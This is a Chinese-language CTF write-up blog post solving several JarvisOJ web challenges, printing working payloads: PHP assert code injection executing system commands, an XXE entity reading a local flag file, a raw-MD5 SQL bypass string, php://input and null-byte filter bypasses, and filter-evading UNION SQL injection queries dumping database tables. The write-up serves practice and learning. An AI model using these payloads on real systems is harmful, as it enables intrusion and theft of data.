zoukankan      html  css  js  c++  java
  • JarvisOJ web部分题解(updating...)

    babyphp

    首先右键看源码
    在这里插入图片描述
    十分沙雕的在url后输了下?page=fhlag,结果当然是看不到,但是我们可以从这里知道有flag.php这个文件了
    在这里插入图片描述
    一看到GIT,想到GIT源码泄露,用某位大佬的工具来获取源码
    在这里插入图片描述
    可以看到有我们想要的flag.php,当然打开也是没有flag的
    从index.php可以得到判断代码

    <?php
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    assert("file_exists('$file')") or die("That file doesn't exist!");
    ?>
    

    看到assert()函数反手一个代码执行读取flag.php
    小垃圾经过多次测试与参考大佬wp,得到payload:?page=flag’.system(ls).’
    这样就能将flag’.system(ls).'作为strpos()的第一个参数了
    $file = "templates/" . "flag'.syatem(ls).'" . ".php";
    assert("strpos('flag.'syatem(ls).'', '..') === false") or die("Detected hacking attempt!");
    列出下所有文件
    在这里插入图片描述
    然后利用cat命令读取flag.php文件
    在这里插入图片描述
    在源码中得到flag
    在这里插入图片描述
    结语:一定要拼接好代码!

    admin

    没有什么思路,抓包看也没有什么有用的信息,于是就扫了网站目录
    还真有。。。
    在这里插入图片描述
    又看到可爱的机器人啦,进去看看
    在这里插入图片描述
    提示/admin_s3cr3t.php页面
    在这里插入图片描述
    就直接给flag了,我还以为要继续找什么的
    好吧是我被骗了。。。答案错误嘤嘤嘤
    再抓包看看,改下admin的值就行
    在这里插入图片描述

    localhost

    伪造一下IP地址即可
    在这里插入图片描述

    PORT51

    十分天真的用 http://web.jarvisoj.com:51/试了试
    其实应该是用公网ip端口访问,而不是改目的端口访问
    windows用这个命令就行
    curl --local-port 51 http://web.jarvisoj.com:32770/
    但是服务器好像出了问题没有给flag

    LOGIN

    在这里插入图片描述
    一开始眼瞎没有看到响应包的提示还进行爆破了…尬笑
    也是第一次知道md5($pass,true)
    在这里插入图片描述
    具体原理参考:https://www.freebuf.com/column/150063.html写的超级棒!
    输入ffifdyop得到flag
    在这里插入图片描述

    神盾局的秘密

    通过审查元素大法发现图片来源为src="showimg.php?img=c2hpZWxkLmpwZw==",猜测任意文件读取漏洞
    在这里插入图片描述
    试着读取index.php,得到源码
    在这里插入图片描述
    应该是利用反序列化,先看下shield.php中Shield类的定义
    在这里插入图片描述
    接下来就是构造序列化字段了
    经过我不太熟练的构造,get it~(查看源码可得)
    在这里插入图片描述

    WEB?

    在这里插入图片描述
    一开始看到这个登录框还以为是sql注入。。。抓包也没有发现什么提示
    在这里插入图片描述
    看源码又没看出个什么。。。看了大佬们的wp说是app.js有问题
    在这里插入图片描述
    复制在app.js搜索一下
    在这里插入图片描述
    再看下checkpass()
    在这里插入图片描述
    25元一次方程组,hhhhhh,笔算是不可能笔算的,上python

    data = [81,87,66,123,82,51,97,99,55,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
    flag = ''
    for i in data:
        flag += chr(i)
    print flag
    

    在这里插入图片描述
    结语:一直以为源码的js啥的没啥好看的,是我孤陋寡闻了
    dbq又触及到我的知识盲区了

    api调用

    以为是命令注入代码注入啥的,又是一道看了wp的题
    XXE漏洞 学习了
    虽然是最近在看的,但看的都是原理还没有实践过

    ]>引用外部文件

    1.抓包更改content type:application/xml
    2.构造xml注入代码,由于提示在,用system命令查看

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>
    

    找了个xml代码。。。还不会写
    在这里插入图片描述

    In a mess

    右键源码得到hint:index.phps
    在index.phps得到代码

    <?php
    error_reporting(0);
    echo "<!--index.phps-->";
    
    if(!$_GET['id'])
    {
    	header('Location: index.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    	echo 'Hahahahahaha';
    	return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    	require("flag.txt");
    }
    else
    {
    	print "work harder!harder!harder!";
    }
    ?>
    

    关键处为:

     $data = @file_get_contents($a,'r');
        if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    

    id用弱类型绕过,a用伪协议绕过,b利用eregi()函数的特性(00截断)绕过
    所以payload:

    ?a=php://input&id=0a&b=%004qqqqq
    POST:1112 is a nice lab!
    

    在这里插入图片描述
    进入给的目录???id=1难道是sql注入?
    在这里插入图片描述
    加个单引号看看,果不其然
    在这里插入图片描述
    查询数据库名
    ?id=-1/12/uniunionon/h/seselectlect/h/1,2,(selselectect/h/context/h/frofromm/h/content)%23
    在这里插入图片描述
    爆表名

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(table_name)/*h*/frofromm/*h*/information_schema.tables/*h*/where/*h*/table_schema=database())#
    

    在这里插入图片描述
    爆列名,注意将表名进行hex编码

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(column_name)/*h*/frofromm/*h*/information_schema.columns/*h*/where/*h*/table_name=0x636f6e74656e74)#
    

    在这里插入图片描述
    读内容

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(selselectect/*h*/context/*h*/frofromm/*h*/content)%23
    

    在这里插入图片描述

    你是这白开水一样淡的日子里偷偷加的一颗糖~~
  • 相关阅读:
    【BZOJ】4349: 最小树形图
    【AtCoder】AtCoder Petrozavodsk Contest 001
    【LOJ】#2525. 「HAOI2018」字串覆盖
    趣味题:恺撒Caesar密码(c++实现)
    趣味问题:画图(c++实现)
    趣味问题:到底买不买
    成绩大排队
    A除以B问题
    2017-统计字符个数
    2016-数据的交换输出
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063467.html
Copyright © 2011-2022 走看看